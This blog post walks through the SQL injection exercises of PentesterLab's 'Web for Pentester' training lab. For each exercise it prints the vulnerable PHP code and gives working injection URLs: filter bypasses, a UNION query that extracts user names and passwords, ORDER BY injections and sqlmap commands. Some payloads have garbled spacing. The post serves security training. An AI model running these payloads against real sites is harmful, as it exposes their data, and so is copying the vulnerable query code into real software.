Solutions For Web For Pentester 1 SQL injection (SQLi) by PentesterLab

We continue with Pentesterlab's 'Web for pentester' lab, this time with the SQLi exploit exercise block (SQL injections), an excellent opportunity to start testing (and especially understanding) this type of vulnerabilities from the base. 

Needless to say, the possibility of injecting SQL code into a web application has a maximum criticality since any data in the database may be available to be read or modified by a malicious user.


Exercise 1:

In the first exercise when observing the php code of the server we will see that there is no type of input validation on the $ _GET ["name"] parameter: 

SERVER:
<?php

  require_once('../header.php');
  require_once('db.php');
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";    
    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
  require_once '../footer.php';
?>
Therefore if we 

inject the following payload: PAYLOAD:
http://pentesterlab/sqli/example1.php?name=root' or 1=1-- -

the variable $ sql will be SELECT * FROM users where name='' or 1=1-- -' and the server will return all the records of the user table:


Exercise 2:

In the next step we will see that the space character in the input data is filtered: 

SERVER:
<?php
  require_once('../header.php');
  require_once('db.php');

    if (preg_match('/ /', $_GET["name"])) {
        die("ERROR NO SPACE");    
    }
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";

    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
  require '../footer.php';
?>

To evade this simple filter we can use the characters / ** / (comment) or% 09 (URL encoded tabulator): 

PAYLOAD:
http://pentesterlab/sqli/example2.php?name=root'%09and%09'1'='1
http://pentesterlab/sqli/example2.php?name=root'/**/union/**/select/**/1,(select/**/name/**/from/**/users/**/limit/**/3,1),(select/**/passwd/**/from/**/users/**/limit/**/3,1),4,5/**/and/**/'1'='2

Also, we could try to detect the injection in an automated way, normally with the de facto tool SQLMap with the following parameters and the corresponding tamper (modifier): 

SQLMAP:
sqlmap -u &quot;http://pentesterlab/sqli/example2.php?name=root&quot; --dbs --tamper=space2comment


While keeping in mind that it is best to do it manually to know exactly what is being done. Furthermore, this type of automated tools can not be used in the OSCP examination. 

Exercise 3:

Next, the regular expression \ s + is used to filter one or more spaces in a row: 

SERVER:
<?php
    require_once('../header.php');
  require_once('db.php');
    if (preg_match('/\s+/', $_GET["name"])) {
        die("ERROR NO SPACE");    
    }
    $sql = "SELECT * FROM users where name='";
    $sql .= $_GET["name"]."'";

    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
    require '../footer.php';
?>
So we will be able to use the characters / ** / (comment) from before to 

reinject: PAYLOAD:
http://pentesterlab/sqli/example3.php?name=root'/**/union/**/select/**/1,(select/**/name/**/from/**/users/**/limit/**/3,1),(select/**/passwd/**/from/**/users/**/limit/**/3,1),4,5/**/and/**/'1'='2

Exercise 4:

From now on they start working on it a bit more and, although obsolete from MySQL 5.5.0, they use the " mysql_real_escape_string " function to prevent injections of the following characters: \ x00, \ n, \ r, \, ', " and \ x1a. +

SERVER:
<?php
  require_once('../header.php');
  require_once('db.php');
  $sql="SELECT * FROM users where id=";
    $sql.=mysql_real_escape_string($_GET["id"])." ";
    $result = mysql_query($sql);
    

    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>

        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
    require '../footer.php';
?>

However, they fail to use the id parameter as a whole number without quoting ('), so it is still vulnerable: 

PAYLOAD:
http://pentesterlab/sqli/example4.php?id=2 or 1=1

Obviously, in this case you would also remove it with sqlmap without problems: 

SQLMAP:
sqlmap -u &quot;http://pentesterlab/sqli/example4.php?id=2&quot; --dbs


Exercise 5:

In the following exercise a regular expression is used to make sure that the introduced id parameter is an integer. Unfortunately, the filter is empty because if you look, just verify that the START of the id parameter is an integer: 

SERVER:
<?php

  require_once('../header.php');
  require_once('db.php');
    if (!preg_match('/^[0-9]+/', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");    
    }
    $sql = "SELECT * FROM users where id=";
    $sql .= $_GET["id"] ;
    
    $result = mysql_query($sql);

    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
    require '../footer.php';
?>


So we get the goal simply by putting a whole number at the beginning of the payload. 

PAYLOAD:
http://pentesterlab/sqli/example5.php?id=2 or 1=1

Exercise 6:

Again there is an error when using the regex. This time the developer has tried to force the parameter to TERMINATE in integer ($), but it makes an error again and this time it does not ensure that the principle is valid ( ^):

SERVER:
<?php

   require_once('../header.php');
  require_once('db.php');
    if (!preg_match('/[0-9]+$/', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");    
    }
    $sql = "SELECT * FROM users where id=";
    $sql .= $_GET["id"] ;

    
    $result = mysql_query($sql);


if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
    require '../footer.php';
?>

So we are worth the previous injection: 

PAYLOAD:
http://pentesterlab/sqli/example6.php?id=2 or 1=1

Exercise 7:

This time the start ( ^) and the end ( $) of the parameter are checked , but the regular expression contains a modifier that allows multiple lines (/ m). 

SERVER:
<?php

  require_once('../header.php');
  require_once('db.php');
    if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
        die("ERROR INTEGER REQUIRED");    
    }
    $sql = "SELECT * FROM users where id=";
    $sql .= $_GET["id"];
    
    $result = mysql_query($sql);

    if ($result) {
        ?>
        <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
    require '../footer.php';
?>

Thanks to this we can put the whole in a line so that the filter is valid ... and in the following line (\ n encoded to% 0a) add the injection: 

PAYLOAD:
http://pentesterlab/sqli/example7.php?id=2%0a or 1=1

Exercise 8:

In Exercise 8 we have to inject into a sentence with 'order by'. This represents an added difficulty because we can not use single or double quotes because if we put them we would take the literal value (order by 'id' will literally order by the name 'id' not by the value of the variable 'id'). 

SERVER:
<?php

  require_once('../header.php');
  require_once('db.php');
    $sql = "SELECT * FROM users ORDER BY `";
    $sql .= mysql_real_escape_string($_GET["order"])."`";
    $result = mysql_query($sql);
    
    if ($result) {
        ?>
        <table  class='table table-striped'>
        <tr>
            <th><a href="example8.php?order=id">id</th>
            <th><a href="example8.php?order=name">name</th>
            <th><a href="example8.php?order=age">age</th>
        </tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
    require '../footer.php';
?>

So for the sentence to take as variable 'name' we have two options: 
- put it directly ORDER BY name 
- put it between tildes ORDER BY `name` 

So we can build the payload in the following way (% 23 is the pad # encoded) : 

PAYLOAD: 
http : //pentesterlab/sqli/example8.php?order=name `% 20% 23% 20or% 20order = name`,` name` 

Exercise 9:

The last SQLi exercise is similar to the previous one, but tildes (`) are no longer used for the variable: 

SERVER:
<?php
  require_once('../header.php');
  require_once('db.php');
    $sql = "SELECT * FROM users ORDER BY ";
  $sql .= mysql_real_escape_string($_GET["order"]);
    $result = mysql_query($sql);
    if ($result) {
        ?>
        <table class='table table-striped'>
        <tr>
            <th><a href="example9.php?order=id">id</th>
            <th><a href="example9.php?order=name">name</th>
            <th><a href="example9.php?order=age">age</th>
        </tr>
        <?php
        while ($row = mysql_fetch_assoc($result)) {
            echo "<tr>";
                echo "<td>".$row['id']."</td>";
                echo "<td>".$row['name']."</td>";
                echo "<td>".$row['age']."</td>";
            echo "</tr>";
        }    
        echo "</table>";
    }
  require '../footer.php';
?>

In these cases we can nest IF sentences to generate our valid payload: 

PAYLOAD:
http : //pentesterlab/sqli/example9.php?order= IF (1, name, age)

And so far the SQL injections of this lab .. we see in the following exercises;) 

Post a Comment

Previous Post Next Post